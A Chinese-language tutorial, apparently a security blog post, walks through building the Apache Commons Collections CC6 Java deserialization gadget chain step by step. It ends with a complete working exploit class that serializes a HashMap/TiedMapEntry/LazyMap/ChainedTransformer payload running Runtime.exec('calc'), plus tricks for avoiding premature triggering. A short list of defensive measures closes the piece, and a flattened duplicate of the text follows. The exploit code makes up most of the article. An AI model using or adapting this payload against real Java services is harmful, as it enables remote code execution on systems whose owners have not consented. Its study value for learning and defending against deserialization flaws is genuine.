Java反序列化CC6链 —— 逐步EXP编写
字数 1122 2025-08-12 11:33:41

Java反序列化CC6链分析与利用

概述

CC6链是Apache Commons Collections库中的一个反序列化漏洞利用链,它结合了CC1链和URLDNS链的特点,具有以下优势:

  • 不受JDK版本限制(与CC1链相比)
  • 使用HashMap作为入口类,具有更好的通用性
  • 结合了LazyMap和TiedMapEntry的特性

环境搭建

所需环境

  • JDK 8u71
  • Commons-Collections 3.2.1

核心组件分析

1. LazyMap与InvokerTransformer

CC6链的前半部分与CC1链相同,使用LazyMapInvokerTransformer

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", 
    new Class[]{String.class}, 
    new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, invokerTransformer);

2. TiedMapEntry组件

TiedMapEntry类是CC6链的关键桥梁:

public class TiedMapEntry implements Entry, KeyValue, Serializable {
    // ...
    public Object getValue() {
        return map.get(key);
    }
    
    public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }
}

3. HashMap入口

HashMap的put方法会自动调用hashCode方法:

HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");  // 触发hashCode()

完整利用链

完整的调用链如下:

  1. xxx.readObject()
  2. HashMap.put()
  3. HashMap.hash()
  4. TiedMapEntry.hashCode()
  5. TiedMapEntry.getValue()
  6. LazyMap.get()
  7. ChainedTransformer.transform()
  8. InvokerTransformer.transform()
  9. Runtime.exec()

EXP编写详解

基础EXP验证

// 验证LazyMap.get()可用性
public class LazyMapEXP {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", 
            new Class[]{String.class}, 
            new Object[]{"calc"});
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorateMap = LazyMap.decorate(hashMap, invokerTransformer);
        
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
        lazyGetMethod.setAccessible(true);
        lazyGetMethod.invoke(decorateMap, runtime);
    }
}

TiedMapEntry验证

// 验证TiedMapEntry链段
public class TiedMapEntryEXP {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, null}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new Object[]{"calc"})
        };
        
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
        tiedMapEntry.getValue();
    }
}

完整EXP

// 完整CC6链利用
public class FinalCC6EXP {
    public static void main(String[] args) throws Exception {
        // 构造Transformer链
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, null}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new Object[]{"calc"})
        };
        
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        
        // 初始使用无害的Transformer防止提前触发
        Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five"));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
        
        HashMap<Object, Object> expMap = new HashMap<>();
        expMap.put(tiedMapEntry, "value");
        
        // 通过反射修改为恶意Transformer
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap, chainedTransformer);
        
        // 序列化和反序列化
        serialize(expMap);
        unserialize("ser.bin");
    }
    
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        return ois.readObject();
    }
}

关键问题解决

1. 序列化时提前触发问题

解决方案:

  1. 初始使用无害的ConstantTransformer("five")
  2. 在put操作后通过反射修改为恶意的ChainedTransformer
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five"));
// ... put操作后 ...
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

2. IDEA调试时自动触发问题

原因:IDEA在debug时会自动调用toString()方法展示对象内容,导致链子提前触发。

解决方案

  1. 打开IDEA设置
  2. 进入"Build, Execution, Deployment" → "Debugger" → "Data Views" → "Java"
  3. 取消勾选"Enable 'toString()' object view"

防御措施

  1. 升级Commons-Collections到安全版本
  2. 使用Java反序列化过滤器
  3. 对不受信任的输入进行严格验证

总结

CC6链通过以下关键点实现利用:

  1. 使用HashMap作为入口点
  2. 通过TiedMapEntry连接HashMap和LazyMap
  3. 利用反射技术避免序列化时提前触发
  4. 最终通过InvokerTransformer执行任意命令

理解CC6链有助于深入掌握Java反序列化漏洞的原理和防御方法。

Java反序列化CC6链分析与利用 概述 CC6链是Apache Commons Collections库中的一个反序列化漏洞利用链,它结合了CC1链和URLDNS链的特点,具有以下优势: 不受JDK版本限制(与CC1链相比) 使用HashMap作为入口类,具有更好的通用性 结合了LazyMap和TiedMapEntry的特性 环境搭建 所需环境 : JDK 8u71 Commons-Collections 3.2.1 核心组件分析 1. LazyMap与InvokerTransformer CC6链的前半部分与CC1链相同,使用 LazyMap 和 InvokerTransformer : 2. TiedMapEntry组件 TiedMapEntry 类是CC6链的关键桥梁: 3. HashMap入口 HashMap的put方法会自动调用hashCode方法: 完整利用链 完整的调用链如下: xxx.readObject() HashMap.put() HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() ChainedTransformer.transform() InvokerTransformer.transform() Runtime.exec() EXP编写详解 基础EXP验证 TiedMapEntry验证 完整EXP 关键问题解决 1. 序列化时提前触发问题 解决方案: 初始使用无害的 ConstantTransformer("five") 在put操作后通过反射修改为恶意的 ChainedTransformer 2. IDEA调试时自动触发问题 原因 :IDEA在debug时会自动调用toString()方法展示对象内容,导致链子提前触发。 解决方案 : 打开IDEA设置 进入"Build, Execution, Deployment" → "Debugger" → "Data Views" → "Java" 取消勾选"Enable 'toString()' object view" 防御措施 升级Commons-Collections到安全版本 使用Java反序列化过滤器 对不受信任的输入进行严格验证 总结 CC6链通过以下关键点实现利用: 使用HashMap作为入口点 通过TiedMapEntry连接HashMap和LazyMap 利用反射技术避免序列化时提前触发 最终通过InvokerTransformer执行任意命令 理解CC6链有助于深入掌握Java反序列化漏洞的原理和防御方法。